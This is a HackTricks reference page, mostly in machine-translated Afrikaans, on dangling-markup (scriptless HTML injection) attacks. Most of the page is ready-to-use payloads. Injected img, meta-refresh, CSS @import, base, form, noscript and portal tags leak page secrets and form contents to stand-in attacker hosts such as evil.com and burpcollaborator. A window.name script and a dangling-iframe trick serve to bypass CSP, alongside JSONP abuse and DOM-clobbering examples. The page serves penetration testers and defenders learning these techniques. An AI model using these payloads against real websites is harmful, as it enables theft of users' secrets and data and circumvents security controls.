Dangling Markup - HTML scriptless injection

Ondersteun HackTricks

Opsomming

Hierdie tegniek kan gebruik word om inligting van 'n gebruiker te onttrek wanneer 'n HTML-inspuiting gevind word. Dit is baie nuttig as jy nie 'n manier vind om 'n XSS te benut nie, maar jy kan 'n paar HTML-tags inspuit. Dit is ook nuttig as 'n geheim in duidelike teks gestoor is in die HTML en jy wil dit uitvoer van die kliënt, of as jy 'n paar skripuitvoerings wil mislei.

Verskeie tegnieke wat hier bespreek word, kan gebruik word om 'n paar Content Security Policy te omseil deur inligting op onverwagte maniere te onttrek (html-tags, CSS, http-meta-tags, vorms, basis...).

Hoof Toepassings

Diefstal van duidelike teks geheime

As jy <img src='http://evil.com/log.cgi? inspuit wanneer die bladsy gelaai word, sal die slagoffer al die kode tussen die ingespuite img-tag en die volgende aanhaling binne die kode na jou stuur. As 'n geheim op een of ander manier in daardie stuk geleë is, sal jy dit steel (jy kan dieselfde ding doen met 'n dubbele aanhaling, kyk watter meer interessant kan wees om te gebruik).

As die img-tag verbied is (weens CSP byvoorbeeld) kan jy ook <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi? gebruik.

<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=

Let wel dat Chrome HTTP-URL's met "<" of "\n" daarin blokkeer, so jy kan ander protokol skemas soos "ftp" probeer.

Jy kan ook CSS @import misbruik (sal al die kode stuur totdat dit 'n ";" vind)

<style>@import//hackvertor.co.uk?     <--- Injected
<b>steal me!</b>;

U kan ook <table: gebruik.

<table background='//your-collaborator-id.burpcollaborator.net?'

U kan ook 'n <base etiket invoeg. Alle inligting sal gestuur word totdat die aanhaling gesluit is, maar dit vereis 'n bietjie gebruikersinteraksie (die gebruiker moet op 'n skakel klik, omdat die basisetiket die domein wat deur die skakel aangedui word, sal verander):

<base target='        <--- Injected
steal me'<b>test</b>

Steel vorms

<base href='http://evil.com/'>

Dan sal die vorms wat data na die pad stuur (soos <form action='update_profile.php'>) die data na die kwaadwillige domein stuur.

Stealing forms 2

Stel 'n vormkop in: <form action='http://evil.com/log_steal'> dit sal die volgende vormkop oorskryf en al die data van die vorm sal na die aanvaller gestuur word.

Stealing forms 3

Die knoppie kan die URL verander waarheen die inligting van die vorm gestuur gaan word met die attribuut "formaction":

<button name=xss type=submit formaction='https://google.com'>I get consumed!

'n Aanvaller kan dit gebruik om die inligting te steel.

Vind 'n voorbeeld van hierdie aanval in hierdie skrywe.

Steel duidelike teks geheime 2

Deur die nuutgenoemde tegniek te gebruik om vorms te steel (die invoeg van 'n nuwe vormkop) kan jy dan 'n nuwe invoerveld invoeg:

<input type='hidden' name='review_body' value="

en hierdie invoerveld sal al die inhoud tussen sy dubbele aanhalingstekens en die volgende dubbele aanhalingsteken in die HTML bevat. Hierdie aanval meng die "Stealing clear text secrets" met "Stealing forms2".

Jy kan dieselfde doen deur 'n vorm en 'n <option> etiket in te spuit. Al die data totdat 'n geslote </option> gevind word, sal gestuur word:

<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option

Form parameter injection

Jy kan die pad van 'n vorm verander en nuwe waardes invoeg sodat 'n onverwagte aksie uitgevoer sal word:

<form action='/change_settings.php'>
<input type='hidden' name='invite_user'
value='fredmbogo'>                                        ← Injected lines

<form action="/change_settings.php">                        ← Existing form (ignored by the parser)
...
<input type="text" name="invite_user" value="">             ← Subverted field
...
<input type="hidden" name="xsrf_token" value="12345">
...
</form>

Stealing clear text secrets via noscript

<noscript></noscript> Is 'n etiket waarvan die inhoud geïnterpreteer sal word as die blaaskas nie javascript ondersteun nie (jy kan Javascript in Chrome in chrome://settings/content/javascript aktiveer/deaktiveer).

'n Manier om die inhoud van die webblad van die punt van inspuiting na die bodem na 'n aanvaller-beheerde webwerf te ekfiltreer, sal wees om dit in te spuit:

<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>

Om CSP te omseil met gebruikersinteraksie

Uit hierdie portswiggers navorsing kan jy leer dat selfs uit die meest CSP-beperkte omgewings jy steeds data kan eksfiltreer met 'n bietjie gebruikersinteraksie. In hierdie geval gaan ons die payload gebruik:

<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='

Let daarop dat jy die slagoffer sal vra om op 'n skakel te klik wat hom na payload wat deur jou beheer word, sal herlei. Let ook daarop dat die target attribuut binne die base tag HTML-inhoud sal bevat tot die volgende enkele aanhaling. Dit sal maak dat die waarde van window.name as die skakel geklik word, al daardie HTML-inhoud gaan wees. Daarom, aangesien jy die bladsy beheer waar die slagoffer toegang verkry deur op die skakel te klik, kan jy daardie window.name toegang en daardie data exfiltreer:

<script>
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>

Misleading script workflow 1 - HTML namespace attack

Voeg 'n nuwe etiket met 'n id binne die HTML in wat die volgende een sal oorskryf en met 'n waarde wat die vloei van 'n skrip sal beïnvloed. In hierdie voorbeeld kies jy met wie 'n inligting gedeel gaan word:

<input type='hidden' id='share_with' value='fredmbogo'>     ← Injected markup
...
Share this status update with:                              ← Legitimate optional element of a dialog
<input id='share_with' value=''>

...

function submit_status_update() {
...
request.share_with = document.getElementById('share_with').value;
...
}

Misleidende skrip werkstroom 2 - Skrip naamruimte aanval

Skep veranderlikes binne javascript naamruimte deur HTML-tags in te voeg. Dan sal hierdie veranderlike die vloei van die aansoek beïnvloed:

<img id='is_public'>                                        ← Injected markup

...

// Legitimate application code follows

function retrieve_acls() {
...
if (response.access_mode == AM_PUBLIC)                    ← The subsequent assignment fails in IE
is_public = true;
else
is_public = false;
}

function submit_new_acls() {
...
if (is_public) request.access_mode = AM_PUBLIC;           ← Condition always evaluates to true
...
}

Misbruik van JSONP

As jy 'n JSONP-koppelvlak vind, kan jy dalk 'n arbitrêre funksie met arbitrêre data aanroep:

<script src='/editor/sharing.js'>:              ← Legitimate script
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}

<script src='/search?q=a&call=set_sharing'>:    ← Injected JSONP call
set_sharing({ ... })

Of jy kan selfs probeer om 'n bietjie javascript uit te voer:

<script src='/search?q=a&call=alert(1)'></script>

Iframe misbruik

'n Kind dokument het die vermoë om die location eienskap van sy ouer te sien en te wysig, selfs in kruis-oorsprong situasies. Dit stel die insluiting van 'n skrip binne 'n iframe in staat om die kliënt na 'n arbitrêre bladsy te herlei:

<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>

Dit kan gemitigeer word met iets soos: sandbox=' allow-scripts allow-top-navigation'

'n iframe kan ook misbruik word om sensitiewe inligting van 'n ander bladsy te lek deur die iframe naam attribuut. Dit is omdat jy 'n iframe kan skep wat homself iframe, wat die HTML-inspuiting misbruik wat maak dat die sensitiewe inligting binne die iframe naam attribuut verskyn en dan daardie naam vanaf die aanvanklike iframe kan toegang verkry en dit kan lek.

<script>
function cspBypass(win) {
win[0].location = 'about:blank';
setTimeout(()=>alert(win[0].name), 500);
}
</script>

<iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe>

For more info check https://portswigger.net/research/bypassing-csp-with-dangling-iframes

<meta misbruik

Jy kan meta http-equiv gebruik om verskeie aksies uit te voer soos om 'n koekie in te stel: <meta http-equiv="Set-Cookie" Content="SESSID=1"> of om 'n herleiding uit te voer (in 5s in hierdie geval): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />

Dit kan vermy word met 'n CSP rakende http-equiv ( Content-Security-Policy: default-src 'self';, of Content-Security-Policy: http-equiv 'self';)

Nuwe <portal HTML tag

Jy kan 'n baie interessante navorsing oor uitbuitbare kwesbaarhede van die <portal tag hier. Op die oomblik van hierdie skrywe moet jy die portal tag op Chrome aktiveer in chrome://flags/#enable-portals of dit sal nie werk nie.

<portal src='https://attacker-server?

HTML Leaks

Nie al die maniere om konnektiwiteit in HTML te lek sal nuttig wees vir Dangling Markup nie, maar soms kan dit help. Kyk hulle hier: https://github.com/cure53/HTTPLeaks/blob/master/leak.html

SS-Leaks

Dit is 'n mengsel tussen dangling markup en XS-Leaks. Aan die een kant laat die kwesbaarheid toe om HTML (maar nie JS nie) in 'n bladsy van die dieselfde oorsprong as die een wat ons gaan aanval, in te voeg. Aan die ander kant sal ons nie die bladsy waar ons HTML kan invoeg, direk aanval nie, maar 'n ander bladsy.

SS-Leaks

XS-Search/XS-Leaks

XS-Search is georiënteerd om cross-origin inligting te exfiltreer deur side channel attacks te misbruik. Daarom is dit 'n ander tegniek as Dangling Markup, egter, sommige van die tegnieke misbruik die insluiting van HTML-tags (met en sonder JS-uitvoering), soos CSS Injection of Lazy Load Images.

XS-Search/XS-Leaks

Brute-Force Detection List

References

Support HackTricks

Last updated